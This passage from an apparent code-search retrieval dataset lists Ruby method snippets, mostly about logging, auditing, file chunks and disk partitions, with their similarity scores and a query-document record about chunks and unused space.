recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end", "def log_activity(at, action = nil)\n unless activity_log\n update_attributes(:activity_log => ActivityLog.create(:user => self))\n end\n activity_log.add(at, action)\n end", "def add_to_log\n user_name = self.user.name || self.user.email.split('@')[0]\n Log.create!(loggingtype: 2,user_id_1: self.user.id ,user_id_2: nil,admin_id: nil,story_id: self.story.id ,interest_id: nil,message: (user_name+\" commented on \\\"\" + self.story.title + \"\\\" with \\\"\" + self.content + \"\\\"\").to_s )\n Admin.push_notifications \"/admins/index\" ,\"\"\n end", "def audit\n @audit || false\n end", "def audit\n Rails.logger.info \"**************inside audit log************\"\n study_name, subject_name = study.name, subject.name\n \n Rake::Task['hello:process'].invoke\n \n file = File.join(File.dirname(__FILE__), 'audit.txt')\n File.open(file, 'a') { |f| f.puts \"A subject named #{subject_name} , enrolled to a Study named #{study_name} with priority 0\" }\n end", "def create\n @audit_log = AuditLog.new(params[:audit_log])\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to(@audit_log, :notice => 'Audit log was successfully created.') }\n format.xml { render :xml => @audit_log, :status => :created, :location => @audit_log }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @audit_log.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save_log( model )\n dir = log_dir model\n\n model.days_index.each do |day, days_logs|\n file = \"#{day.to_s}.yaml\"\n file_path = File.join(dir, file)\n File.delete( file_path ) if File.exists?( file_path )\n\n # don't write to an empty file\n next if days_logs.empty?\n\n File.open( file_path,'a' ) do |f|\n days_logs.each do |log|\n f.puts YAML::dump( log.freeze_dry )\n end\n end\n end\n end", "def set_actionstamps_on_save \n return unless dirty?\n set_actionstamps\n end", "def autoflush_log; end", "def autoflush_log; end", "def command_save\n if @dbChanged == true\n @database.save\n @dbChanged = false\n end\n if @logChanged == true\n @log.save\n @logChanged = false\n end\n end", "def set_entry_log\n @entry_log = EntryLog.find(params[:id])\n end", "def create\n\t\t# Builds enttry for current user\n\t\t@fitness_log = current_user.fitness_logs.build(fitness_params)\n\t\tif @fitness_log.save # if save\n\t\t\tflash[:success] = \"Log Updated\"\n\t\telse\n\t\t\tflash[:error] = \"Failed to add log\"\n\t\tend\n\t\tredirect_to log_user_path(current_user)\n\tend", "def log_action(action, user, record, model)\n begin\n # Create a new ActionLog Object\n event = ActionLog.new()\n \n # Add the user to this object\n event.user = user\n \n # Add the action to this object\n event.action = action\n \n # Save the model type and its record ID(s) to this object\n event.target = model.to_s + ':' + record.to_s\n \n # Save the time of the event\n event.time_of_action = (Time.now.getutc - 7*60*60).to_s.gsub('UTC','PST')\n \n # Save this event to database\n event.save!\n\n rescue => e\n \n end\n end", "def set_action_log\n @action_log = ActionLog.find(params[:id])\n end", "def write_log(host, brower,is_admin)\n log = CardLog.new\n log.host = host\n log.brower = brower\n log.is_admin_read = is_admin\n\n if !is_admin && self.first_read_time.nil?\n self.first_read_time = Time.now\n end\n\n self.card_logs << log\n self.save\n end", "def set_audit\n @audit = Audit.find(params[:id])\n @project = @audit.project\n end", "def attach_log_to_request\n # First we attempt to load an existing log from the request params\n @log = SystemLog.find(params[:log_id]) if params[:log_id]\n\n # Otherwise, we start a brand new log chain here\n @log = SystemLog.create( log_type: params[:action],\n from: params['From'],\n to: params['To'],\n meta: params.to_json ) unless @log.present?\n\n # Attach this log to this request cycle\n RequestStore.store[:log] = @log\n # Stash params for this request as wellโ€” for debugging\n RequestStore.store[:params] = params.dup\n RequestStore.store[:params_original] = params.dup\n end", "def reopen_logs; end", "def logs\n end", "def save()\n str = \"\"\n @log.each_key do |date|\n @log[date].each do |item|\n str += item.to_s() + ',' + item.name + \"\\n\"\n end\n end\n File.open(\"DietLog.txt\",\"w\").write(str)\n end", "def audit\n\t\t\treturn if completed?\n\t\t\trefresh\n\t\t\ttally\n\t\tend", "def audit\n identifier(audit_db)\n end", "def create_log_data\n UpdateLog.create(over_tag_id: self.id, table_name: \"over_tag\", log_type: \"create\")\n end", "def log_request(activity=nil)\n return if ! @logged.nil?\n @logged=true \n if current_user_model.blank? or current_user_model.id.blank? then\n the_id = -1\n else\n the_id = current_user_model.id\n end\n log_entry = Log.create( \n :investigator_id => the_id,\n :activity => activity || self.controller_name + \":\" + self.action_name,\n :controller_name => self.controller_name,\n :action_name => self.action_name,\n :created_ip => request.remote_ip,\n :params => params.inspect)\n log_entry.save\n end", "def write_log( user = User.anonymous )\n options = { :user => user, :ip_address => user.ip_address }\n @changed_attributes.each do |a, v|\n options[:attribute] = a\n options[:old_value] = v.first\n options[:new_value] = v.last\n self.related_object.log_entries.create options unless options[:old_value].nil?\n end unless @changed_attributes.nil?\n end", "def attach_rss_log_first_step(rss_log)\n will_save_later = new_record? || changed?\n self.rss_log_id = rss_log.id\n self.rss_log = rss_log\n save unless will_save_later\n end", "def log\n end", "def add_audit_trail(options = {})\r\n #logger.info(\"*** Adding audit trail. options: #{options.inspect}\")\r\n return false unless current_user and options[:details] \r\n if current_user\n\toptions[:user_id] = current_user.id \n else\n\toptions[:user_id] = 0 \n end\t\r\n\r\n if @article_submission\r\n options[:article_submission_id] ||= @article_submission.id\r\n end\r\n if @user\r\n options[:user_acted_as_id] ||= @user.id\r\n end\r\n if @contribution\r\n options[:contribution_id] ||= @contribution.id\r\n end\r\n if @coi_form\r\n options[:coi_form_id] || @coi_form.id\r\n end\r\n \r\n audit_trail = AuditTrail.create(options)\r\n logger.info(\"*** Created audit trail: #{audit_trail.inspect}\")\r\n end", "def save_cashout_log\n log_request = \"#{Parameter.first.front_office_url}/api/856332ed59e5207c68e864564/cashout/log/orange_money_ci?transaction_id=#{@basket.transaction_id}&order_id=#{@basket.number}&status_id=#{@status_id}&transaction_amount=#{@basket.original_transaction_amount}&currency=#{@basket.currency.code}&paid_transaction_amount=#{@basket.paid_transaction_amount}&paid_currency=#{Currency.find_by_id(@basket.paid_currency_id).code}&change_rate=#{@basket.rate}&id=#{@basket.login_id}&cashout_account_number=#{@cashout_account_number}&fee=#{@basket.fees}\"\n log_response = (RestClient.get(log_request) rescue \"\")\n\n @basket.update_attributes(\n cashout_notified_to_front_office: (log_response == '1' ? true : false), \n cashout_notification_request: log_request, \n cashout_notification_response: log_response\n )\n end", "def create_log\n UserActivityLog.using_client_shard(client: @client).create!(\n user_id: @user_id,\n admin_id: @admin_id,\n log_type: log_type,\n action: @action,\n action_timestamp: @action_timestamp,\n e_data: @e_extra_data\n )\n end", "def set_log_entry\n @log = Log.find(params[:id])\n end", "def create\n # Store audit location place details if it's new\n if params[:location].present?\n @location = Location.find_by(id: params[:location][:id], name: params[:location][:name])\n @location = Location.new(location_params) if @location.blank?\n @audit = @location.audits.build(audit_params) if @location.save\n end\n # Initialize new audit object for validation\n @audit ||= Audit.new(audit_params)\n \n # save newly created audit object if it's valid\n if @audit.save\n # save paragraphs details which are involved in audit\n params[:audit][:paragraphs].each { |pa| @audit.audit_items.build(paragraph_id: pa).save } if params[:audit][:paragraphs].present?\n # save auditors details how will conduct audit\n params[:audit][:auditors].each { |employee| @audit.auditor_employees.build(employee_id: employee).save } if params[:audit][:auditors].present?\n # save auditees details how help in audit\n params[:audit][:auditees].each { |employee| @audit.auditee_employees.build(employee_id: employee).save } if params[:audit][:auditees].present?\n # save shadule details for audit paragraphs, when they will be conducted\n params[:audit][:fine_tunes].each do |fine_tune|\n if fine_tune[:date] && fine_tune[:start_time][:hour] && fine_tune[:start_time][:min] && fine_tune[:end_time][:hour] && fine_tune[:end_time][:min] && fine_tune[:paragraph]\n @audit.fine_tunes.build( ddate: Date.strptime(fine_tune[:date], \"%m/%d/%Y\"),\n start_hour: change_time(fine_tune[:start_time][:hour], fine_tune[:start_time][:min]),\n end_hour: change_time(fine_tune[:end_time][:hour], fine_tune[:end_time][:min]),\n notes: fine_tune[:note], paragraph_id: fine_tune[:paragraph]\n ).save\n end\n end if params[:audit][:fine_tunes].present?\n render json: @audit, status: :created\n else\n render json: @audit.errors, status: :unprocessable_entity\n end\n end", "def perform(params)\n\n init_params(params)\n\n set_encrypted_extra_data\n\n create_log\n\n end", "def audit\n count_words unless audited?\n @audited = true\n end", "def set_log\n #@log = Log.find(params[:id])\n end", "def save_chat_log\n # log \"saving chatlog\"\n @pstore.transaction do\n @pstore[:log] = @buffer\n #p @pstore[:log]\n end\n\n end", "def checkpoint\n remove_processed_tx_files\n Modsec::Tailer.write_resume_file(@logfile)\n end", "def logs\n\n end", "def audit=(value)\n conf['dashboard']['audit'] = value\n end", "def log\n logger.info \"Apply migration #{version}\\n\"\n end", "def set_user_audit\n @user_audit = UserAudit.find(params[:id])\n end", "def log(status_info = {})\n status_info[:authority_name] = authority_name\n status_info[:validation_type] = scenario_validation_type\n status_info[:subauth] = subauthority_name\n status_info[:service] = service\n status_info[:action] = action\n status_info[:url] = url\n status_info[:request_data] = request_data\n status_log.add(status_info)\n end", "def set_log\n @log = Log.find(params[:id])\n end", "def set_log\n @log = Log.find(params[:id])\n end", "def set_log\n @log = Log.find(params[:id])\n end", "def set_log\n @log = Log.find(params[:id])\n end", "def set_log\n @log = Log.find(params[:id])\n end", "def set_log\n @log = Log.find(params[:id])\n end", "def set_log\n @log = Log.find(params[:id])\n end", "def audits\n Audit::Tracking.log.audits(audit_bucket, self.id)\n end", "def data \n @data \n @log.create_log_entry\n end", "def initialize_log(log)\n close if @log # be sure that we don't leave open files laying around.\n\n if log.respond_to?(:write)\n @log = log\n elsif File.exist?(log)\n @log = open(log, (File::WRONLY | File::APPEND))\n @log.sync = true\n else\n FileUtils.mkdir_p(File.dirname(log)) unless File.directory?(File.dirname(log))\n @log = open(log, (File::WRONLY | File::APPEND | File::CREAT))\n @log.sync = true\n @log.write(\"#{Time.now.httpdate} #{delimiter} info #{delimiter} Logfile created\\n\")\n end\n end" ]
[ "0.6781204", "0.6777003", "0.65401375", "0.65389395", "0.6495411", "0.6422484", "0.6408047", "0.6390071", "0.636754", "0.6296661", "0.6294444", "0.62675506", "0.6263227", "0.6200449", "0.6181618", "0.6155426", "0.6144565", "0.6141821", "0.6105673", "0.60847324", "0.607508", "0.607508", "0.607508", "0.6063844", "0.6054786", "0.6041055", "0.60220015", "0.60217094", "0.59955156", "0.59935313", "0.5990754", "0.5988856", "0.5986593", "0.5986593", "0.5976198", "0.59759206", "0.59738773", "0.5910638", "0.5907211", "0.5903407", "0.58621275", "0.584224", "0.5824017", "0.58178425", "0.58103454", "0.58037895", "0.5799475", "0.57797974", "0.5767704", "0.576436", "0.573995", "0.5738998", "0.5695596", "0.56937236", "0.5691361", "0.5688376", "0.5688376", "0.56546825", "0.56457204", "0.5644078", "0.56430244", "0.5625236", "0.5608529", "0.56050014", "0.5587622", "0.55838627", "0.5580352", "0.55798054", "0.55759275", "0.55696857", "0.5563887", "0.55552125", "0.55446386", "0.5543513", "0.55396044", "0.55392677", "0.55374813", "0.5536346", "0.55361587", "0.553541", "0.5534199", "0.55305713", "0.55287975", "0.55244005", "0.5518497", "0.5518131", "0.55067956", "0.55021864", "0.5498984", "0.5496632", "0.5494384", "0.5494384", "0.5494384", "0.5494384", "0.5494384", "0.5494384", "0.5494384", "0.5488409", "0.5486494", "0.5483353" ]
0.7843606
0
Chunks and unused space
def initialize(file_path) @file_path = file_path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def free_chunks(grid)\n grid.flat_map do |row|\n row.chunk(&:free?).select(&:first).map(&:last)\n end\n end", "def ignore_bad_chunking; end", "def ignore_bad_chunking; end", "def validate_parts_full_chunks!(grid_infos)\n grid_infos.each do |grid_info|\n if grid_info[:length] % grid_info[:chunkSize] != 0 && grid_info != grid_infos.last\n raise Tus::Error, \"cannot concatenate parts which aren't evenly distributed across chunks\"\n end\n end\n end", "def ignore_bad_chunking=(_arg0); end", "def chunks\n @_chunks ||= find_chunks(input)\n end", "def chunks\n @_chunks ||= find_chunks(input)\n end", "def each_chunk; end", "def chunk_size()\n #This is a stub, used for indexing\n end", "def split_into_parts(*sizes); end", "def parts; end", "def parts; end", "def parts; end", "def free_blocks\n free_space / BLOCK_SIZE\n end", "def remainder_as_buffer; end", "def memos; end", "def memos; end", "def chunk_size\n 4096\n end", "def allocate(parts); end", "def min_chunk_size\n size_t * 4\n end", "def record_space\n used_space - header_space - directory_space - trailer_space\n end", "def empty(x, z)\n @chunks[x] ||= {}\n @chunks[x][z] = Chunk.new(x * 16, 0, z * 16, 15, 127, 15, nil)\n end", "def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # Add 100 bytes for the encoder to have some room\n space += 100\n\n # Make room for the maximum possible URL length (wchars)\n space += 512 * 2\n\n # proxy (wchars)\n space += 128 * 2\n\n # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)\n space += 31\n\n # Custom headers? Ugh, impossible to tell\n space += 512 * 2\n\n # The final estimated size\n space\n end", "def chunk(array, size)\nend", "def size\n\tparts.size\nend", "def query_each_side_has_a_block x, y, z, do_update = false\r\n arr = Array.new(6, false)\r\n arr[0] = get_block_at(x, y - 1, z) == nil #bottom\r\n arr[1] = get_block_at(x, y, z - 1) == nil #sides\r\n arr[2] = get_block_at(x - 1, y, z) == nil #sides\r\n arr[3] = get_block_at(x + 1, y, z) == nil #sides\r\n arr[4] = get_block_at(x, y, z + 1) == nil #sides\r\n arr[5] = get_block_at(x, y + 1, z) == nil #top\r\n \r\n if do_update \r\n chx = (x / Util::Chunk_Size).floor\r\n chy = (y / Util::Chunk_Size).floor\r\n chz = (z / Util::Chunk_Size).floor\r\n \r\n if chy != ((y - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, ((y - 1) / Util::Chunk_Size).floor, chz)\r\n elsif chy != ((y + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, ((y + 1) / Util::Chunk_Size).floor, chz)\r\n end\r\n \r\n if chx != ((x - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(((x - 1) / Util::Chunk_Size).floor, chy, chz)\r\n elsif chx != ((x + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(((x + 1) / Util::Chunk_Size).floor, chy, chz)\r\n end\r\n \r\n if chz != ((z + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, chy, ((z + 1) / Util::Chunk_Size).floor)\r\n elsif chz != ((z - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, chy, ((z - 1) / Util::Chunk_Size).floor)\r\n end\r\n \r\n end\r\n\r\n #@called += 1\r\n #puts @called\r\n \r\n return arr\r\n end", "def entry_size; BLOCK_SIZE; end", "def entry_size; BLOCK_SIZE; end", "def chunk(array, n)\nend", "def fuse(_following_chunk)\n nil\n end", "def _part\n\n _save = self.pos\n while true # choice\n _tmp = apply('tag', :_tag)\n break if _tmp\n self.pos = _save\n _tmp = apply('chunk', :_chunk)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n return _tmp\n end", "def memory_used_with_g\n\t\tself.memory_memused.map { |i| i / 1000000000.0}\n\tend", "def available_slots()\n return @size - @used_spaces\n end", "def written_blocks\n (@real_time_memory + @user_memory).reject(&:nil?).count\n end", "def chunk(array, n)\n\nend", "def spares\n parts.select { |part| part.needs_spare }\n end", "def avail_out= size\n\t\tsize.times do \n\t\t\tif size > avail_out\n\t\t\t\t@output_buffer.push nil\n\t\t\telse\n\t\t\t\t@output_buffer.pop\n\t\t\tend\n\t\tend\n\tend", "def join(owned_chunks)\n \n end", "def block_size; end", "def review_chunks\n doc.flat_map do |page|\n page.css('div div')\n .children\n .select { |x| x.name == 'div' || x.name == 'small' }\n .map(&:text)\n .reject { |x| x.empty? || x.include?('googleFillSlot') }\n .each_slice(3)\n .take(@limit)\n end\n end", "def preamble_size\n # Find size from position of data for first shard\n words.at(content_offset + File::Frozen::Descriptor.offset + 7).to_i\n end", "def total_per_big_component(&block)\n @scms.sort.each do | name, linehash |\n size = linehash.values.sum\n output name, 0, size, &block if !size.nil? and size > 20000\n end\n end", "def free_spaces\n @list.map { |bin| [@operations_lower_bound - bin.size, 0].max }\n end", "def compact() end", "def nr_chunks\n ENV['NR_CHUNKS'] ? ENV['NR_CHUNKS'].to_i : 10\n end", "def morechunks?\n Dir.entries(\"data/\").size > 2\n end", "def chunks\n Dir[File.join(Config.tmp_path, package.basename + \"-*\")].sort\n end", "def createAvailable(split) \n start = CHUNKS*2+3\n available = []\n \n while(start < split.length)\n available.push split[start].chomp.to_i\n start += CHUNKS+1\n end\n return available\nend", "def ensure_free_space(src,dst)\n state = true\n #lines = %x[df #{dst}]\n #n = lines.last.split[1].to_i * 1024\n #debug lines\n return state\nend", "def max_blocks; end", "def chunked?; end", "def size_partial_page_header\n size_fil_header - 4 - 8 - 4\n end", "def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.\n space += 29\n\n # Reliability adds some bytes!\n space += 44\n\n space += uuid_required_size if include_send_uuid\n\n # The final estimated size\n space\n end", "def avail_out= size\n\t\t\tsize.times do\n\t\t\t\tif size > avail_out\n\t\t\t\t\t@output_buffer.push nil\n\t\t\t\telse\n\t\t\t\t\t@output_buffer.pop\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def ignore_bad_chunking=(ignore_bad_chunking); end", "def partition_used(partition)\n # Return magic number if in test_mode to prevent syscall\n return '128' if @test_mode\n b = ' ' * 128\n syscall(137, partition, b)\n a = b.unpack('QQQQQ')\n [a[2] * blocks_per_kilobyte, a[4] * blocks_per_kilobyte]\n end", "def preparation\n return unless inspect_duplicates(@hidden + @open)\n @hidden = my_split(@hidden)\n @open = my_split(@open)\n end", "def dynamic_chunk(base_ten_num) #=>inncludes first 1 in output\n base_two_num = binarify(base_ten_num)\n base_two_num.slice(static_chunk(base_ten_num).length..(base_two_num.length - 1))\nend", "def compressed_size; end", "def compressed_size; end", "def chunks\n (0...chunk_count).map do |chunk|\n offset_start = chunk_size * chunk\n offset_end = [offset_start + chunk_size, body.length].min - 1\n body[offset_start..offset_end]\n end\n end", "def size_header\n 2 + 2 + 1\n end", "def free_space\n page_header[:garbage_size] +\n (size - size_fil_trailer - directory_space - page_header[:heap_top])\n end", "def compact!() end", "def max_blocks=(_arg0); end", "def blockinate(data)\n blocks = []\n i, j = 0, BLOCK_SIZE - 1\n n = (data.size / BLOCK_SIZE) + 1\n n.times do\n block = data[i..j]\n blocks << block\n i = j + 1\n j += BLOCK_SIZE\n end\n if blocks.last.size < BLOCK_SIZE\n n = BLOCK_SIZE - blocks.last.size\n n.times { blocks.last << ' ' }\n end\n @blocks = blocks\n end", "def blockinate(data)\n blocks = []\n i, j = 0, BLOCK_SIZE - 1\n n = (data.size / BLOCK_SIZE) + 1\n n.times do\n block = data[i..j]\n blocks << block\n i = j + 1\n j += BLOCK_SIZE\n end\n if blocks.last.size < BLOCK_SIZE\n n = BLOCK_SIZE - blocks.last.size\n n.times { blocks.last << ' ' }\n end\n @blocks = blocks\n end", "def block_sizes\n unless defined?(@block_sizes) then\n @block_sizes = split_comma(@data[18]).collect { |x| x.to_i }\n end\n @block_sizes\n end", "def space()\n #This is a stub, used for indexing\n end", "def blksize() end", "def pack_size_names\n return @pack_size_names if @pack_size_names\n names = @lines.inject([]) { |arr, l| arr << l[:pack_size] }.uniq.sort!\n @pack_size_names = place_blank_to_last(names)\n end", "def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)\n space += 31\n\n # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)\n\n # TODO: this is coming soon\n # Reliability checks add 4 bytes for the first check, 5 per recv check (2)\n #space += 14\n\n # 2 more bytes are added for IPv6\n space += 2 if use_ipv6\n\n space += uuid_required_size if include_send_uuid\n\n # The final estimated size\n space\n end", "def part_size(total_size, part_size, offset)\n if offset + part_size > total_size\n total_size - offset\n else\n part_size\n end\n end", "def sent_chunk_sizes\n Hash[chunks.map { |chunk| [chunk.index.to_s, chunk.size] }]\n end", "def lines\n 2 * @size + 3\n end", "def size\n @parts.size\n end", "def size_fsp_header\n ((4 * 6) + (1 * 8) + (5 * Innodb::List::BASE_NODE_SIZE))\n end", "def compact; end", "def compact; end", "def size; '' end", "def memsize\n end", "def used_space\n size - free_space\n end", "def test_reuse_existing_chunks_when_prepend\n CheckFile @writer, @ioservice, @adlers, 'test content', ['test ', 'conte', 'nt']\n CheckFile @writer, @ioservice, @adlers, 'a new test content', ['a new', ' ', 'test ', 'conte', 'nt']\n end", "def spares\n select { |part| part.needs_spare }\n end", "def spares\n select { |part| part.needs_spare }\n end", "def shard_count_based_on_position_of_shard_contents\n descriptors_size.div(File::Frozen::Descriptor.size)\n end", "def list_size_nix_partitions # nelsongs\n\treturn `fdisk -l | grep /dev | grep -v Disk | awk '{if ($2==\"*\" && $6==\"83\") print $5;else {if ($5==\"83\") print $4}}' | sed s/+//g`.chomp.split\nend", "def interpret_size(size); end", "def find_chunks(text)\n meta_info = text.scan(CHUNK_REGEXP)\n returning(chunks = []) do\n split = text.split(CHUNK_REGEXP)\n split.shift\n split.each_with_index do |lines, idx| \n chunks << PrettyDiff::Chunk.new(meta_info[idx], lines)\n end\n end\n end", "def unused_nodes\n s = []\n (0..7).each do |i|\n if position[i] && !position[i].used\n s << i\n end\n end\n s\n end", "def high_yield_mines (a)\n @arr2 = Array.new\n a.each do |this|\n if this[:specimens].length >= 4\n @arr2.push(this[:location])\n end\n end\nend", "def find_limits(free_part_infos, size)\n start_part = nil\n end_part = nil\n minimal_header = 2048\n free_part_infos.each do |p|\n size_part = p['start'].to_i < minimal_header ? p['size'].to_i - minimal_header : p['size'].to_i\n next if size_part < size.to_i\n start_part = p['start'].to_i < minimal_header ? minimal_header : p['start']\n end_part = start_part.to_i + size.to_i - 1\n break\n end\n raise 'not enough free space to create the partition' if start_part.nil? || end_part.nil?\n [start_part, end_part]\n end", "def next_chunk\n mwc = (new_z << 16) + new_w\n [mwc].pack('L>')\n end", "def list_nix_partitions_with_size # nelsongs \n\treturn `fdisk -l | grep /dev | grep -v Disk | awk '{if ($2==\"*\" && $6==\"83\") print $1\":\"$5;else {if ($5==\"83\") print $1\":\"$4}}' | sed s/+//g`.chomp.split\nend", "def sent_chunk_sizes\n Hash[chunks.map { |chunk| [chunk.index.to_s, chunk.size] }]\n end", "def all_chunk_hashes\n\t\t\n\t\tbegin\n\t\t\t@all_chunk_map = \"\"\n\t\t\t0.upto(num_chunks-1) { |i|\n\t\t\t\t@all_chunk_map += sha1_chunk(i)\n\t\t\t}\n\n\t\tend unless @all_chunk_map\n\t\t@all_chunk_map\n\tend", "def process_blocks(blocks); end", "def size() end", "def size() end", "def size() end", "def size() end" ]
[ "0.6403653", "0.6382119", "0.6382119", "0.6279755", "0.6247524", "0.6159419", "0.6159419", "0.5998616", "0.5986671", "0.595625", "0.58674055", "0.58674055", "0.58674055", "0.58408815", "0.57547206", "0.574756", "0.574756", "0.5744059", "0.5722478", "0.5719607", "0.5655667", "0.565554", "0.56151617", "0.5613371", "0.56001365", "0.5575346", "0.555875", "0.555875", "0.555782", "0.5545889", "0.55452865", "0.55449593", "0.5523258", "0.55198133", "0.5495105", "0.54750264", "0.54593796", "0.54590726", "0.5444732", "0.5442365", "0.54414976", "0.543011", "0.5416382", "0.54063475", "0.53835475", "0.5377981", "0.5376414", "0.53692317", "0.53464824", "0.53437525", "0.5324881", "0.5324346", "0.5323704", "0.53204155", "0.53201705", "0.53199476", "0.5299258", "0.5287361", "0.52781904", "0.52781904", "0.52755284", "0.5269323", "0.5265255", "0.52622557", "0.524811", "0.52467865", "0.52467865", "0.5243026", "0.52424335", "0.52416176", "0.52402115", "0.5237227", "0.5228131", "0.5213806", "0.52073616", "0.52031446", "0.51985466", "0.51977754", "0.51977754", "0.519715", "0.5182714", "0.5151726", "0.5150849", "0.5137167", "0.5137167", "0.5110498", "0.5098621", "0.50934905", "0.5086683", "0.5082205", "0.50759304", "0.5074408", "0.5072932", "0.5070766", "0.50673556", "0.50574744", "0.5054969", "0.50523454", "0.50523454", "0.50523454", "0.50523454" ]
0.0
-1
Parse locations of chunks Offset: bytes 0 2 Sectors: byte 3 Empty offset, is an empty chunk
def locations @locations ||= bytes(L_BYTES).each_slice(4).map do |loc_bytes| { offset: ByteArray.to_i(loc_bytes[0..2]), sector_count: loc_bytes[3] } end.reject{ |l| l[:offset] == 0 } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_line_and_column_from_chunk(offset)\n if offset.zero?\n return [@chunk_line, @chunk_column]\n end\n\n string =\n offset >= @chunk.size ? @chunk : @chunk[0..offset-1]\n\n line_count = string.count(\"\\n\")\n\n column = @chunk_column\n if line_count > 0\n lines = string.split(\"\\n\")\n column = lines.empty? ? 0 : lines[-1].size\n else\n column += string.size\n end\n\n [@chunk_line + line_count, column]\n end", "def read_chunk(chunk)\n puts \"[ESP DEBUG] - Read chunk #{chunk.name}...\" if @debug\n description = nil\n decoded_data = nil\n subchunks = []\n header = chunk.header\n case chunk.name\n when 'TES4'\n # Always read fields of TES4 as they define the masters, which are needed for others\n puts \"[ESP DEBUG] - Read children chunks of #{chunk}\" if @debug\n subchunks = chunk.sub_chunks(sub_chunks_format: {\n '*' => { header_size: 0, size_length: 2 },\n 'ONAM' => {\n data_size_correction: proc do |file|\n # Size of ONAM field is sometimes badly computed. Correct it.\n file.seek(4, IO::SEEK_CUR)\n stored_size = file.read(2).unpack('S').first\n file.read(chunk.size).index('INTV') - stored_size\n end\n }\n })\n chunk_type = :record\n when 'MAST'\n description = chunk.data[0..-2].downcase\n @masters << description\n @master_ids[sprintf('%.2x', @master_ids.size)] = description\n chunk_type = :field\n when 'GRUP'\n puts \"[ESP DEBUG] - Read children chunks of #{chunk}\" if @debug\n subchunks = chunk.sub_chunks(sub_chunks_format: Hash[(['GRUP'] + KNOWN_GRUP_RECORDS_WITHOUT_FIELDS + KNOWN_GRUP_RECORDS_WITH_FIELDS).map do |known_sub_record_name|\n [\n known_sub_record_name,\n {\n header_size: 16,\n data_size_correction: known_sub_record_name == 'GRUP' ? -24 : 0\n }\n ]\n end])\n chunk_type = :group\n when *KNOWN_GRUP_RECORDS_WITHOUT_FIELDS\n # GRUP record having no fields\n form_id_str = sprintf('%.8x', header[4..7].unpack('L').first)\n @form_ids << form_id_str\n description = \"FormID: #{form_id_str}\"\n puts \"[WARNING] - #{chunk} seems to have fields: #{chunk.data.inspect}\" if @warnings && chunk.data[0..3] =~ /^\\w{4}$/\n chunk_type = :record\n when *KNOWN_GRUP_RECORDS_WITH_FIELDS\n # GRUP record having fields\n form_id_str = sprintf('%.8x', header[4..7].unpack('L').first)\n @form_ids << form_id_str\n description = \"FormID: #{form_id_str}\"\n if @decode_fields\n puts \"[ESP DEBUG] - Read children chunks of #{chunk}\" if @debug\n subchunks = chunk.sub_chunks(sub_chunks_format: { '*' => { header_size: 0, size_length: 2 } })\n end\n chunk_type = :record\n when *KNOWN_FIELDS\n # Field\n record_module_name =\n if Data.const_defined?(chunk.parent_chunk.name.to_sym)\n chunk.parent_chunk.name.to_sym\n elsif Data.const_defined?(:All)\n :All\n else\n nil\n end\n unless record_module_name.nil?\n record_module = Data.const_get(record_module_name)\n data_class_name =\n if record_module.const_defined?(\"#{record_module_name}_#{chunk.name}\".to_sym)\n \"#{record_module_name}_#{chunk.name}\".to_sym\n elsif record_module.const_defined?(\"#{record_module_name}_All\".to_sym)\n \"#{record_module_name}_All\".to_sym\n else\n nil\n end\n unless data_class_name.nil?\n data_info = record_module.const_get(data_class_name)\n decoded_data = {}\n data_info.read(chunk.data).each_pair do |property, value|\n decoded_data[property] = value\n end\n end\n end\n chunk_type = :field\n else\n warning_desc = \"Unknown chunk: #{chunk}. Data: #{chunk.data.inspect}\"\n if @ignore_unknown_chunks\n puts \"[WARNING] - #{warning_desc}\" if @warnings\n @unknown_chunks << chunk\n chunk_type = :unknown\n else\n raise warning_desc\n end\n end\n # Decorate the chunk with our info\n esp_info = {\n description: description,\n type: chunk_type\n }\n esp_info[:decoded_data] = decoded_data unless decoded_data.nil?\n unless header.empty?\n header_class_name =\n if Headers.const_defined?(chunk.name.to_sym)\n chunk.name.to_sym\n elsif Headers.const_defined?(:All)\n :All\n else\n nil\n end\n unless header_class_name.nil?\n header_info = Headers.const_get(header_class_name)\n esp_info[:decoded_header] = {}\n header_info.read(header).each_pair do |property, value|\n esp_info[:decoded_header][property] = value\n end\n end\n end\n chunk.instance_variable_set(:@esp_info, esp_info)\n @chunks_tree[chunk] = subchunks\n subchunks.each.with_index do |subchunk, idx_subchunk|\n read_chunk(subchunk)\n end\n end", "def calculate_offsets\n\n # Maintain the offset into the the file on disk. This is used\n # to update the various structures.\n offset = @header.bytesize\n\n # First pass over load commands. Most sizes are filled in here.\n @load_commands.each do |cmd|\n case cmd[:cmd]\n\n when LC_SEGMENT\n seg = cmd\n sections = @sections[seg[:segname]]\n section_size = sections.size * Section.bytesize\n section_vm_size = sections.inject(0) { |total, sect| total + sect[:size] }\n section_disk_size = sections.inject(0) do |total, sect|\n total + @section_disk_size[sect[:sectname]]\n end\n\n ### TODO this should be redundant. try commenting it out one day.\n seg[:nsects] = sections.size\n seg[:cmdsize] = seg.bytesize + section_size\n ###\n\n seg[:vmsize] = section_vm_size\n seg[:filesize] = section_disk_size\n\n when LC_SYMTAB\n # nop\n\n else\n raise \"unsupported load command: #{cmd.inspect}\"\n end\n\n offset += cmd[:cmdsize]\n end\n\n\n # offset now points to the end of the Mach-O headers, or the beginning\n # of the binary blobs of section data at the end.\n\n # Second pass over load commands. Fill in file offsets.\n @load_commands.each do |cmd|\n case cmd[:cmd]\n\n when 